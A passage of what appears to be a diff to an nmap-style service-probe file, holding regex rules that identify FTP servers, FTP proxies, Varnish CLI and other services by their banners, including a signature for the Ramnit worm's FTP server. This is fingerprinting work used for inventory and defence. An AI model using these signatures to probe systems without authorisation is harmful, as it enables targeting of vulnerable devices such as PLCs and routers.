Server/ v/$1/ +match ftp m|^220 Aos FTP Server ready\.\r\n| p/A2 ftpd/ o/A2/ cpe:/o:eth:a2/ +match ftp m|^220 Serveur FTP ::ffff:[\d.]+ pr\xc3\xaat\r\n| p/ProFTPD/ i/French/ cpe:/a:proftpd:proftpd::::fr/ +match ftp m|^220 FreeFloat Ftp Server \(Version ([\w._-]+)\)\.\r\n| p/FreeFloat ftpd/ v/$1/ o/Windows/ cpe:/a:freefloat:freefloat_ftp_server:$1/ cpe:/o:microsoft:windows/ +match ftp m|^220 FreeFlow Accxes FTP server ready\r\n| p/Xerox FreeFlow Accxess ftpd/ d/print server/ cpe:/a:xerox:freeflow_print_server/ +match ftp m|^220 [\d.]+ FTP Server \(Apache/([\w._-]+) \(Ubuntu\) (.*)\) ready\.\r\n| p/Apache FTP Protocol Module/ v/$1/ i/Ubuntu; $2/ o/Linux/ cpe:/o:canonical:ubuntu_linux/ cpe:/o:canonical:ubuntu_linux/ cpe:/o:linux:linux_kernel/ +match ftp m|^220 Welcome to This FTP Server\. Service ready for new user\.\r\n214-The following commands are recognised:\r\nUSER\r\nPASS\r\nCWD\r\nQUIT\r\nTYPE\r\nPORT\r\nRETR\r\nSTOR\r\nSTOU\r\nAPPE\r\nRNFR\r\nRNTO\r\nABOR\r\nDELE\r\nCDUP\r\nRMD\r\nMKD\r\nPWD\r\nLIST\r\nNLST\r\nHELP\r\nNOOP\r\nXCUP\r\nXCWD\r\nXPWD\r\nXRMD\r\nXMKD\r\n214 List End\.\r\n| p/Toshiba CTX PBX ftpd/ d/PBX/ +match ftp m|^220 Wind River FTP server ([\w._-]+) ready\.\r\n| p/Wind River FTP server/ v/$1/ o/VxWorks/ cpe:/a:windriver:ftp_server:$1/ cpe:/o:windriver:vxworks/ +match ftp m|^220 FTP Server \(ZyWALL (USG \w+)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL ZyWALL $1 firewall ftpd/ cpe:/h:zyxel:zywall_$1/ +match ftp m|^220 Authentication_Required\r\n| p/glFTPd/ o/Unix/ +match ftp m|^220 Ftp firmware update utility\r\n| p|D-Link/Comtrend DSL modem ftp firmware update| +match ftp m|^550 Permission denied ,please check access control list\r\nPermission denied\.\(Please check access control list\)\r\n| p/DrayTek ADSL router ftpd/ +match ftp m|^220 RIEDEL Artist FTP Server\r\n| p/Riedel Artist intercom system ftpd/ cpe:/h:riedel:artist/ +match ftp m|^220 (ZXDSL [\w._-]+) FTP version ([\w._-]+) ready at .*\r\n| p/ZyXEL $1 ADSL modem ftpd/ v/$2/ d/broadband router/ cpe:/h:zyxel:$1/ +match ftp m|^ - error: no valid servers configured\n - Fatal: error processing configuration file '/etc/proftpd/proftpd\.conf'\n$| p/ProFTPD/ cpe:/a:proftpd:proftpd/ +match ftp m|^220 SoftDataCable ([\w._-]+) ready\r\n| p/Software Data Cable ftpd/ v/$1/ +match ftp m|^220 Operation successful\r\n$| p/BusyBox ftpd/ i/D-Link DCS-932L IP-Cam camera/ d/webcam/ cpe:/a:busybox:busybox/ cpe:/h:dlink:dcs-932l/ +match ftp m|^220-\*\*\* Running an unlicensed copy of TurboFTP Server \*\*\*\r\n220 TurboFTP Server ([\w._-]+) ready\.\r\n| p/TurboSoft TurboFTP/ v/$1/ o/Windows/ cpe:/a:turbosoft:turboftp:$1/ cpe:/o:microsoft:windows/a +match ftp m|^200 Welcome to BarracudaBackupFTPd\.\r\n| p/Barracuda Backup 490 appliance ftpd/ d/storage-misc/ +match ftp m|^220 awaiting Input\r\n| p/Encrypted FTP/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp m|^220 Welcome to the Cisco (TelePresence MCU [\w._-]+), version ([\w._()-]+)\r\n| p/Cisco $1 videoconferencing bridge/ v/$2/ d/VoIP adapter/ cpe:/h:cisco:$1/ +match ftp m|^220 Multicraft ([\w._-]+) FTP server\r\n| p/Multicraft ftpd/ v/$1/ +match ftp m|^220 [\d.]+ BECO FTP server \(Version ([\w._-]+)\) ready\.\r?\n| p/Kaba B-web 93 00 timeclock ftpd/ v/$1/ +match ftp m|^220-TiMOS-B-([\w._-]+) both/hops ALCATEL SR ([\w._-]+) Copyright \(c\) \d+-\d+ Alcatel-Lucent\.\r\n220-All rights reserved\. All use subject to applicable license agreements\.\r\n220-Built on (.*) by builder in /rel[\w._-]+/[\w._-]+/[\w._-]+/panos/main\r\n220-\r\n220-This is a Maxcom, system restricted to authorized individuals\. This system is subject to monitoring\. Unauthorized users, access, and/or modification will be prosecuted\.\r\n220 FTP server ready\r\n| p/Alcatel $2 Service Router ftpd/ i/build date: $3/ d/router/ o/TiMOS $1/ cpe:/h:alcatel:$2_service_router/ cpe:/o:alcatel:timos:$1/ +match ftp m|^220 ASTRA-Super FTP server ready\.\r\n$| p/Ishida Astra counter-top scale ftpd/ +match ftp m|^220 ucftpd FTP server ready\.\r\n| p/MontaVista ucftpd/ o/Linux/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 Welcome to Stupid-FTPd server\.\r\n| p/Stupid-FTPd/ cpe:/a:cinek:stupid-ftpd/ +match ftp m|^220 FTP v([\d.]+) at ([\w.-]+) ready\.\r\n| p/OpenRG ftpd/ v/$1/ d/broadband router/ h/$2/ +match ftp m|^220 FRITZ!Box(\w+)\(kdg\) FTP server ready\.\r\n| p/AVM FRITZ!Box ftpd/ i/model: $1; Kabel Deutschland/ d/broadband router/ +match ftp m|^220-Welcome to cc-ftpd\.\r\n220-You are user number (\d+ of \d+) allowed\.\r\n220-Local time is now ([\d:]+)\. Server port: \d+\.\r\n220-This is a private system - No anonymous login\r\n220-IPv6 connections are also welcome on this server\.\r\n220 You will be disconnected after 15 minutes of inactivity\.\r\n| p/Centova Cast ftpd/ i/user $1; local time $2/ +match ftp m|^220 ([\w.-]+) FTP server \(QNXNTO-ftpd (\d{8})\) ready\.\r\n| p/QNX ftpd/ v/$2/ o/QNX/ h/$1/ cpe:/o:qnx:qnx/a +match ftp m|^220-Cerberus FTP Server - Home Edition\r\n220-This is the UNLICENSED Home Edition and may be used for home, personal use only\r\n220-Welcome to Cerberus FTP Server\r\n220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ i/Home Edition/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-220-Welcome to Cerberus FTP Server\r\n220 220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-Welcome to Cerberus FTP Server\r\n220 Created by Cerberus, LLC\r\n| p/Cerberus FTP Server/ o/Windows/ cpe:/a:cerberusftp:ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220-Welcome to my Server\r\n220-\r\n220 ICS FTP Server ready\.\r\n| p/Overbyte Internet Component Suite ftpd/ +match ftp m|^220 ADAM2 FTP Server ready\r\n| p/Texas Instruments ADAM2 bootloader ftpd/ +match ftp m|^220-Idea FTP Server v([\d.]+) \(([\w.-]+)\) \[[\d.]+\]\r\n220 Ready\r\n| p/home.pl Idea ftpd/ v/$1/ h/$2/ +match ftp m|^220 ([\w.-]+) Lexmark ([\w]+) FTP Server ([\w.-]+) ready\.\r\n| p/Lexmark printer ftpd/ v/$3/ i/model $2/ h/$1/ cpe:/h:lexmark:$2/ +match ftp m|^220 FTP Utility FTP server \(Version ([\d.]+)\) ready\.\r\n| p/Konica Minolta FTP Utility ftpd/ v/$1/ +match ftp m|^220 PocketPro (\w+) FTP server ready\.\r\n| p/TROY PocketPro $1 print server ftpd/ +match ftp m|^220 FTP Version ([\d.]+) on (IQ\w+)\r\n| p/IQinVision IQeye ftpd/ v/$1/ i/model $2/ +match ftp m|^220 FRITZ!Box(\d+\w*(?:\(UI\))?) FTP server ready\.\r\n| p/AVM FRITZ!Box ftpd/ i/model $1/ d/broadband router/ +match ftp m|^220 220 RMNetwork FTP\r\n$| p/Ramnit worm ftpd/ i/malware/ +match ftp m|^220 Monarch (\d+) Print Adapter FTP server ready\.\r\n| p/Avery-Dennison Monarch $1 print server ftpd/ +match ftp m|^220-TCP/IP for VSE Internal FTPDAEMN ([\d.]+ ?[A-Z]) (\d{8}) \d\d\.\d\d\r\n Copyright \(c\) 1995,2006 Connectivity Systems Incorporated\r\n220 Ready for new user\r\n| p|IBM z/VSE ftpd| v/$1/ i/build date $2/ o|z/VSE| cpe:/o:ibm:z%2fvse/ +match ftp m|^220- \r\n {14}_/_/_/_/ \*\*\* eXo Platform JCR FTP Server {8}_/_/_/_/\r\n| p/eXo Platform JCR ftpd/ +match ftp m|^220 RT-IP FTP Server ready\. Type HELP for help\r\n| p/Computer Solutions RT-IP ftpd/ +match ftp m|^220 Welcome to ([\w.-]+)'s Everything ETP Server version ([\d.]+)\r\n| p|Everything ETP/FTP server| v/$2/ h/$1/ +match ftp m|^220 Welcome to HD Media Box !\r\n| p|O2Media/Ellion HMR-600 ftpd| d/media device/ +# SurgeFTP 2.3a3 +match ftp m|^550 There is no place for you to log in\. Create domain for IP [\d.]+\.\r\n| p/NetWin SurgeFTP ftpd/ cpe:/a:netwin:surgeftp/ +match ftp m|^220 SAVIN (\w+) FTP server \(([\d.]+)\) ready\.\r\n| p/Savin printer ftpd/ v/$2/ i/model $1/ d/printer/ cpe:/h:savin:$1/ +match ftp m|^220 ([\w.-]+) FTP server \(StarOS\) ready\.\r\n| p/Cisco StarOS ftpd/ o/StarOS/ h/$1/ cpe:/o:cisco:staros/ +match ftp m|^220- FTP Server \(RTOS-UH\) ready\. \(c\)IEP Version: ([\d.]+)\r\n220 Connection is automatically closed if idle for 10 Minutes\r\n| p/RTOS-UH ftpd/ v/$1/ o/RTOS-UH/ cpe:/o:universitathanover:rtos-uh/ +match ftp m|^220 iosFtp server ready\.\r\n| p/ios-ftp-server ftpd/ o/iOS/ cpe:/o:apple:iphone_os/ +match ftp m|^220 SP (C?\d+\w*) \([a-f0-9]+\) FTP server ready\r\n| p/Ricoh Aficio SP $1 ftpd/ d/printer/ cpe:/h:ricoh:aficio_sp_$1/a +match ftp m|^220 Sharp - NetScan Tool\r\n| p/Sharp Scan to Desktop ftpd/ +match ftp m|^220 Welcome to ALPHA -FTPd server\.\r\n| p/Alpha ftpd/ +match ftp m|^220 IPCamera FtpServer\(www\.maygion\.com\),do NOT change firmware unless you know what you are doing!\r\n| p/Maygion IPCamera ftpd/ d/webcam/ +match ftp m|^220 AXIS ([\w._-]+) Video Encoder ([\w._-]+) \(\d\d\d\d\) ready\.\r\n| p/AXIS $1 video encoder ftpd/ v/$2/ d/media device/ +match ftp m|^220 Star (IFBD-HE[\d/]+) FTP Server\.\r\n| p/Star $1 ftpd/ d/print server/ +match ftp m|^220 Welcome to the HomeWorks Processor\r\n| p/Lutron HomeWorks ftpd/ +# http://sourceforge.net/projects/open-ftpd/ +match ftp m|^220- \*{29}\r\n {5}\*\* {8}Welcome on {7}\*\*\r\n {5}\* {5}Gabriel's FTP Server \*\r\n {5}\*\* {6}([\w./_-]+) Release \*\*\r\n220 \*{29}\r\n| p/Open-FTPD/ v/$1/ cpe:/a:gabmuf:open-ftpd:$1/ +match ftp m|^220-Debian GNU/Linux (\d+)\r\n220 ProFTPD ([\w._-]+) Server | p/ProFTPD/ v/$2/ i/Debian $1/ o/Linux/ cpe:/a:proftpd:proftpd:$2/a cpe:/o:debian:debian_linux:$1/ cpe:/o:linux:linux_kernel/a +match ftp m|^220 Praim Srl, ([\w._-]+) Ftp Server \(Version ([\w._-]+) \[[\w :]+\]\)\.\r\n| p/Praim thin terminal ftpd/ v/$2/ i/model: $1/ d/terminal/ cpe:/h:praim:$1/ +match ftp m|^220 Harris BCD FTP Ready\r\n$| p/Harris FlexStar radio broadcast exciter ftpd/ d/specialized/ +# http://www.foxgate.ua/downloads/FoxGate%20S6224-S2%20user%20manual.pdf +match ftp m|^220 welcome your using ftp server\.\.\.\r\n| p/FoxGate switch ftpd/ d/switch/ +match ftp m|^220 DSC ftpd 1\.0 FTP Server ready\.\r\n| p/Ricoh DC SR-10 ftpd/ o/Windows/ cpe:/a:ricoh:dc_software/ cpe:/o:microsoft:windows/a +match ftp m|^220 FANUC FTP server ready\.\r\n| p/FANUC CNC controller ftpd/ d/specialized/ +match ftp m|^220 VicFTPS ready\r\n| p/VicFTPS ftpd/ o/Windows/ cpe:/a:vicftps:vicftps/ cpe:/o:microsoft:windows/a +match ftp m|^220-Wellcome to Home Ftp Server!\r\n220 FTP server ready\.\r\n| p/Home FTP Server/ o/Windows/ cpe:/a:ari_pikivirta:home_ftp_server/ cpe:/o:microsoft:windows/a +match ftp m|^220 TASKalfa (\w+) FTP server\r\n| p/Kyocera TASKalfa copier ftpd/ i/model: $1/ cpe:/h:kyocera:taskalfa_$1/ +match ftp m|^220 o2 MediaCenter FTP Server v([\w._-]+) ready\r\n| p/Astoria Networks o2 MediaCenter ftpd/ v/$1/ d/broadband router/ cpe:/h:astoria_networks:o2_mediacenter/ +match ftp m|^220 MinWin FTP server ready\.\r\n| p/Microsoft MinWin ftpd/ o/Windows 10 IoT/ cpe:/o:microsoft:windows_10:::iot/ +match ftp m|^220 Welcomd to iCatch FTP Server\r\n| p/iCatch DVR ftpd/ d/media device/ +match ftp m|^220 PCMan's FTP Server ([\w._-]+) Ready\.\r\n| p/PCMan's FTP Server/ v/$1/ o/Windows/ cpe:/a:pcman%27s_ftp_server_project:pcman%27s_ftp_server:$1/ cpe:/o:microsoft:windows/a +match ftp m|^220 FTP Server \((NXC\d+)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL WLAN controller ftpd/ i/model: $1/ cpe:/h:zyxel:$1/ +match ftp m|^220 IFT DS ([\w-]+) RAID FTP server ready\.\r\n| p/Infortrend EonStor DS iSCSI host ftpd/ i/model: $1/ d/storage-misc/ cpe:/h:infortrend:esds_$1/ +match ftp m|^220 Synology FTP server ready\.\r\n| p/Synology DiskStation ftpd/ d/storage-misc/ +match ftp m|^220-owftpd 1-wire ftp server -- Paul H Alfille\r\n220-Version: (\d[\w._-]*) see http://www\.owfs\.org\r\n220 Service ready for new user\.\r\n| p/OWFS owftpd/ v/$1/ cpe:/a:owfs:owftpd:$1/ +match ftp m|^220 Firewall Authentication required before proceeding with service\r\n| p/FortiGate Application filtering/ +match ftp m|^421 Your IP is banned, no further requests will be processed from this IP \([\d.]+\)\.\r\n| p/CrushFTP/ i/IP banned/ cpe:/a:crushftp:crushftp/ +match ftp m|^220 RICOH ([A-Z 0-9]+) FTP server \(([\d.]+)\) ready\.\r\n| p/Ricoh printer ftpd/ v/$2/ i/model: $1/ cpe:/h:ricoh:$1/ +match ftp m|^220 Femitter FTP Server ready\.\r\n| p/Acritum Femitter Server ftpd/ o/Windows/ cpe:/a:acritum:femitter_server/ cpe:/o:microsoft:windows/a +match ftp m|^421-Could not open file /var/run/bftpdutmp\r\n421 Server disabled for security reasons\.\r\n| p/Bftpd/ i/disabled/ cpe:/a:jesse_smith:bftpd/ +match ftp m|^220 Gameservers FTPD v([\d.]+)\r\n| p/Choopa GameServers.com ftpd/ v/$1/ +match ftp m|^220 DSL Router FTP Server v([\d.]+) ready\r\n| p/Arcadyan DSL router ftpd/ v/$1/ +match ftp m|^220 NRG MP (\d+) FTP server \(([\d.]+)\) ready\.\r\n| p/NRG printer ftpd/ v/$2/ i/model MP $1/ d/printer/ cpe:/h:nrg:mp_$1/ +match ftp m|^220 StingRay FTP Server (\d[\w._-]+) ready to accept your commands\.\r\n| p/Hermstedt StingRay ftpd/ v/$1/ +match ftp m|^220 Inspired Signage : ISPlayerFTPService-Default ready on Port : \d+\r\n| p/AMX Inspired Signage PlayerFTPService/ cpe:/a:amx:playerftpservice/ +match ftp m|^220 Speedport W (\w+) FTP Server v([\d.]+) ready\r\n| p/Speedport WAP ftpd/ v/$2/ i/model: W$1/ d/WAP/ cpe:/h:speedport:w$1/ +match ftp m|^421 Too many users logged in, closing control 421 Service not available, remote server has closed connection\r\n$| p/HP LaserJet 400 printer ftpd/ i/too many users/ d/printer/ cpe:/h:hp:laserjet_400/a +match ftp m|^220 Welcome to the Eltek Power System FTP server\.\r\n| p/Eltek Power System ftpd/ d/power-misc/ +match ftp m|^220 FUJI XEROX DocuPrint ([A-Z][A-Z\d]+(?: ?[a-zA-Z]{1,2})?)\r\n| p/Fuji Xerox DocuPrint $1 ftpd/ d/printer/ cpe:/h:fuji:xerox_docuprint_$1/a +match ftp m|^421 Service not available \(server too busy\)\r\n| p/Fuji Xerox DocuPrint ftpd/ d/printer/ +match ftp m|^220 ECOSYS (P\d\w+) FTP server\r\n| p/Ecosys $1 ftpd/ d/print server/ cpe:/h:ecosys:$1/ +match ftp m|^220 FTPVita Server ready\.\n| p/FTPVita ftpd/ d/game console/ cpe:/h:sony:playstation_vita/ +match ftp m|^220 FTP Server \((UAG\d+)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL $1 Unified Access Gateway ftpd/ d/security-misc/ cpe:/h:zyxel:$1/ +match ftp m|^220 Software Data Cable (\d[\w._-]*) ready\r\n| p/Software Data Cable ftpd/ v/$1/ o/Android/ cpe:/a:damiapp:software_data_cable:$1/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a +match ftp m|^200 Groupcall Xporter - ([\d.]+)\r\n| p/Groupcall Xporter ftpd/ v/$1/ cpe:/a:groupcall:xporter:$1/ +match ftp m|^220 In-Sight \(R\) ([\w._-]+) Release ([\d.]+) \(\d+\) ready \(([\w._-]+)\)\.\r\n| p/Cognex In-Sight ftpd/ v/$2/ i/component: $1/ d/webcam/ h/$3/ cpe:/a:cognex:in-sight:$2/ +match ftp m|^220 FTP ready at [JFMASOND][aepueco][nbrylgptvc] \d\d? \d\d:\d\d:\d\d\r\n| p/Loxone Miniserver ftpd/ d/specialized/ cpe:/h:loxone:miniserver/ +match ftp m|^220 iQ-R FTP server ready\.\r\n| p/Mitsubishi iQ-R PLC ftpd/ d/specialized/ +match ftp m|^220 [\d.]{7,15} (CJ\w+)-EIP\d+ FTP server \(FTP Version ([\d.]+)\) ready\.\r\n| p/Omron $1 PLC ftpd/ v/$2/ d/specialized/ cpe:/h:omron:$1/ +match ftp m|^220 CMFP\(v(\w+-V\w+)- 1a\) FTP server ready\.\r\n| p/Teco Image Systems or Konica Minolta MFP ftpd/ v/$1/ d/printer/ +match ftp m=^220 ([\w._-]+) FTP server \(U(?:LTRIX|ltrix) Version ([\d.]+) ([^)]+)\) ready\.\r\n= p/Ultrix ftpd/ i/build: $3/ o/Ultrix $2/ h/$1/ cpe:/o:dec:ultrix:$2/ +match ftp m|^220-={61}\r\n220-Welcome\.\r\n220-\r\n220-This is a running (RSX-[\w-]+) system\.\r\n220-={61}\r\n220 Welcome\r\n| p/BQTFTP ftpd/ o/$1/ cpe:/a:bqt:bqtftp/ cpe:/o:dec:$1/ +match ftp m|^220 Keil FTP service\r\n| p/Keil Network Component ftpd/ d/specialized/ cpe:/a:keil:network_component/ +match ftp m|^220 QnUDVCPU FTP server ready\.\r\n| p/Mitsubishi Q-series PLC ftpd/ d/specialized/ +match ftp m|^220 (FS-\d+MFP\+?) FTP server\r\n| p/Kyocera $1 printer ftpd/ d/printer/ cpe:/h:kyocera:$1/a +match ftp m|^220 FTP Server \(([NWAP]{3}\d+[\w-]*)\) \[[a-f:\d.]+\]\r\n| p/ZyXEL $1 WAP ftpd/ d/WAP/ cpe:/h:zyxel:$1/a + +#(insert ftp) + +# These look too generic, but didn't match anything else yet +match ftp m|^220 FTP Server 2\.1 ready\r\n| p/Android ftpd/ v/2.1/ +match ftp m|^220 FTP Server ready\.\.\.\r\n| p/Gene6 ftpd/ + +# not already sure about the next. maybe too generic? it exists already above a signature for openftpd. embyte +match ftp m|^220 OpenFTPD server([^ ]+)?| p/OpenFTPD/ v/$1/ + +match ftp-proxy m|^220 Ftp service of Jana-Server ready\r\n| p/JanaServer ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 FTP Gateway at Jana Server ready\r\n| p/JanaServer ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 ([-.\w]+) FTP proxy \(Version (\d[-.\w]+)\) ready\.\r\n| p/Gauntlet FTP proxy/ v/$2/ h/$1/ +# Frox FTP Proxy (frox-0.6.5) on Linux 2.2.X - http://frox.sourceforge.net/ +match ftp-proxy m|^220 Frox transparent ftp proxy\. Login with username\[@host\[:port\]\]\r\n| p/Frox ftp proxy/ cpe:/a:james_hollingshead:frox/ +match ftp-proxy m|^220 Frox transparent ftp proxy\. Login with username\r\n| p/Frox ftp proxy/ cpe:/a:james_hollingshead:frox/ +match ftp-proxy m|^501 Proxy unable to contact ftp server\r\n| p/Frox ftp proxy/ cpe:/a:james_hollingshead:frox/ +match ftp-proxy m|^220 ([-.+\w]+) FTP AnalogX Proxy (\d[-.\w]+) \(Release\) ready\r\n| p/AnalogX FTP proxy/ v/$2/ h/$1/ cpe:/a:analogx:proxy:$2/ +match ftp-proxy m|^220 Secure Gateway FTP server| p/Symantec Enterprise Firewall FTP proxy/ d/firewall/ cpe:/a:symantec:enterprise_firewall/ +match ftp-proxy m|^220-Sidewinder ftp proxy\. You must login to the proxy first| p/Sidewinder FTP proxy/ +match ftp-proxy m|^220-\r\x0a220-Sidewinder ftp proxy|s p/Sidewinder FTP proxy/ +match ftp-proxy m|^220 webshield2 FTP proxy ready\.\r\n| p/Webshield2 FTP proxy/ o/Windows/ cpe:/a:bluecoat:winproxy/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 WinProxy FTP Gateway ready, enter username@host\[:port\]\r\n| p/WinProxy FTP proxy/ o/Windows/ cpe:/a:bluecoat:winproxy/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 WinProxy \(Version ([^)]+)\) ready\.\r\n| p/WinProxy FTP proxy/ v/$1/ o/Windows/ cpe:/a:bluecoat:winproxy/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 Proxy602 Gateway ready, enter user@host\[:port\]\r\n| p/Proxy602 ftp proxy/ d/firewall/ +match ftp-proxy m|^220 Java FTP Proxy Server \(usage: USERID=user@site\) ready\.\r\n| p/Java FTP Proxy/ +match ftp-proxy m|^220 ([-\w_.]+) FTP proxy \(Version V([\d.]+)\) ready\.\r\n| p/Generic FTP proxy/ v/$2/ h/$1/ +match ftp-proxy m|^220 CoolProxy FTP server & firewall\r\n| p/CoolProxy ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 Finjan SurfinGate Proxy - Server Ready\.\r\n| p/Finjan SurfinGate ftp proxy/ +match ftp-proxy m|^220 ([-\w_.]+) \(NetCache\) .*\r\n| p/NetApp NetCache ftp proxy/ h/$1/ cpe:/a:netapp:netcache/ +match ftp-proxy m|^220 Welcome to ([-\w_.]+) Ftp Proxy Service\.\r\n| p/Proxy Suite ftp proxy/ h/$1/ +match ftp-proxy m|^220 Hi! Welcome \w+ UserGate| p/UserGate ftpd/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 Webwasher FTP Proxy ([\d.]+) build (\d+)\r\n| p/Webwasher ftp proxy/ v/$1 build $2/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220- ([-\w_.]+) PROXY-FTP server \(DeleGate/([\d.]+)\) ready\.\r\n| p/DeleGate ftp proxy/ v/$2/ h/$1/ +match ftp-proxy m|^500 WinGate Engine Access Denied\r\n| p/WinGate ftp proxy/ i/access denied/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 IWSS FTP proxy ready\r\n| p/Trend Micro InterScan Web Security Suite ftp proxy/ cpe:/a:trendmicro:interscan_web_security_suite/ +match ftp-proxy m|^220 ezProxy FTP Proxy Server Ready \r\n| p/ezProxy ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 FTP proxy \(v([\d.]+)\) ready\r\n530 Login incorrect\. Expected USER command\r\n| p/jftpgw ftp proxy/ v/$1/ +match ftp-proxy m|^220-Welcome to SpoonProxy V([\w._-]+) by Pi-Soft Consulting, LLC\r\n| p/Pi-Soft SpoonProxy ftp proxy/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220-CCProxy FTP Service\(Unregistered\)\r\n| p/CCProxy ftp proxy/ i/unregistered/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220-CCProxy FTP Service\r\n220-you need to input userid@site as login name\.\r\n220 Example: user anonymous@ftp\.netscape\.com\r\n| p/CCProxy ftp proxy/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 kingate\(([\w._-]+)-win32\) ftp proxy ready\r\n| p/kingate ftp proxy/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match ftp-proxy m|^220 FileCatalyst Server Enterprise v([^\r\n]*)\r\n$| p/FileCatalyst ftp proxy/ v/$1/ +match ftp-proxy m|^220 ([\w._-]+), KEN! DSL FTP-Gateway\r\n| p/AVM KEN! ftp proxy/ h/$1/ +match ftp-proxy m|^220 ([\w._-]+), KEN! FTP-Gateway\r\n| p/AVM KEN! ftp proxy/ h/$1/ +match ftp-proxy m|^220 server ready - login please\r\n| p/Squid ftp proxy/ cpe:/a:squid-cache:squid/ +match ftp-proxy m|^421 Proxy is closed \(unknown user location\)\r\n$| p/Zscaler ftp proxy/ +match ftp-proxy m|^220 Cleo VLProxy/([\w._-]+) FTP server ready\.\r\n$| p/Cleo VLProxy ftp proxy/ v/$1/ +match ftp-proxy m|^220 McAfee Web Gateway ([\d.]+ (?:- )?build:? \d+)\r\n| p/McAfee Web Gateway ftp proxy/ v/$1/ cpe:/a:mcafee:web_gateway:$1/ +match ftp-proxy m|^220-Firewall ftp proxy\. You must login to the proxy first\.\r\n220 Use proxy-user:auth-method@destination\.\r\n| p/Secure Computing Sidewinder firewall ftp proxy/ d/firewall/ cpe:/h:securecomputing:sidewinder/ +match ftp-proxy m|^220 Zscaler/([\d.]+): USER expected \(Unix syntax\)\r\n| p/Zscaler ftp proxy/ v/$1/ + +# DAZ Studio 4.5, port 27997 +match valentinadb m|^dddd\0\0\0\0\0\0\0\x0b| p/Valentina DB/ + +match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish HTTP accelerator CLI.\n-----------------------------\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n| p/Varnish Cache CLI/ v/2.1.0 - 2.1.3/ i/open/ cpe:/a:varnish-cache:varnish:2.1/ +# vident field is uname -s,uname -r,uname -m +match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish HTTP accelerator CLI.\n-----------------------------\n([^,]+),([^,]+),[^\n]*\n\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n| p/Varnish Cache CLI/ v/2.1.4/ o/$1 $2/ cpe:/a:varnish-cache:varnish:2.1.4/ +match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish Cache CLI 1.0\n-----------------------------\n([^,]+),([^,]+),[^\n]*\n\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n\n| p/Varnish Cache CLI/ v/2.1.5 - 3.0.3/ o/$1 $2/ cpe:/a:varnish-cache:varnish/ +match varnish-cli m|^200 \d+ +\n-----------------------------\nVarnish Cache CLI 1.0\n-----------------------------\n([^,]+),([^,]+),[^\n]*\nvarnish-([\w._-]+) revision [0-9a-f]+\n\nType 'help' for command list\.\nType 'quit' to close CLI session\.\n\n| p/Varnish Cache CLI/ v/$3/ o/$1 $2/ cpe:/a:varnish-cache:varnish:$3/ +match varnish-cli m|^107 59 \n[a-z]{32}\n\nAuthentication required\.\n\n| p/Varnish Cache CLI/ i/authentication required/ cpe:/a:varnish-cache:varnish/ + +# TODO kerio? +#match ftp m|^421 Service not available \(The FTP server is not responding\.\)\n$| v/unknown FTP server//service not responding/ +match vdr m|^220 (\S+) SVDRP VideoDiskRecorder (\d[^\;]+);| p/VDR/ v/$2/ d/media device/ h/$1/ +match vdr m|^Access denied!\n$| p/VDR/ d/media device/ + +softmatch ftp m|^220 Welcome to ([-.\w]+) FTP.*\r\n$|i h/$1/ +softmatch ftp m|^220 ([-.\w]+) [-.\w ]+ftp.*\r\n$|i h/$1/ +softmatch ftp m|^220-([-.\w]+) [-.\w ]+ftp.*\r\n220|i h/$1/ +softmatch ftp m|^220 [-.\w ]+ftp.*\r\n$|i +softmatch ftp m|^220-[-.\w ]+ftp.*\r\n220|i +softmatch ftp m|^220[- ].*ftp server.*\r\n|i +softmatch ftp m|^220-\r?\n220 - ftp|i + +match freeswitch-event m|^Content-Type: auth/request\n\n| p/FreeSWITCH mod_event_socket/ cpe:/a:freeswitch:freeswitch/ + +match fsae m|^\0\0\0\\\x80\x06\0\0\0\n\x01\x03\0...\0\0\0\n\x10\x03\0\0\0.\0\0\0\x15\x11\x05FSAE server ([\w._-]+)\0\0\0\x16\x12\x01................\0\0\0\x17\x13\x01FSAE_SERVER_\d+$|s p/Fortinet Server Authentication Extension/ v/$1/ + +match fw1-rlogin m|^\0Check Point FireWall-1 authenticated RLogin server running on ([-.\w]+)\r\n\r| p/Check Point FireWall-1 authenticated RLogin server/ i/$1/ cpe:/a:checkpoint:firewall-1/ + +match fyre m|^220 Fyre rendering server ready\n| p/Fyre rendering cluster node/ + +match g15daemon m|^G15 daemon HELLO$| p/g15daemon/ i/Logitech G15 keyboard control/ + +match galaxy m|^\0\0\0\t\0\0\0\x80\0\0\0\0\0\0\0\0\0\0\x042\0\0\0\x01\0\0\t_\0\0\0h| p/Galaxy Client Event Manager/ o/Windows/ cpe:/o:microsoft:windows/a + +match gamebots m|^HELLO_BOT\r\n| p/GameBots for Unreal Tournament 2004/ +match gamebots-control m|^HELLO_CONTROL_SERVER\r\n| p/GameBots for Unreal 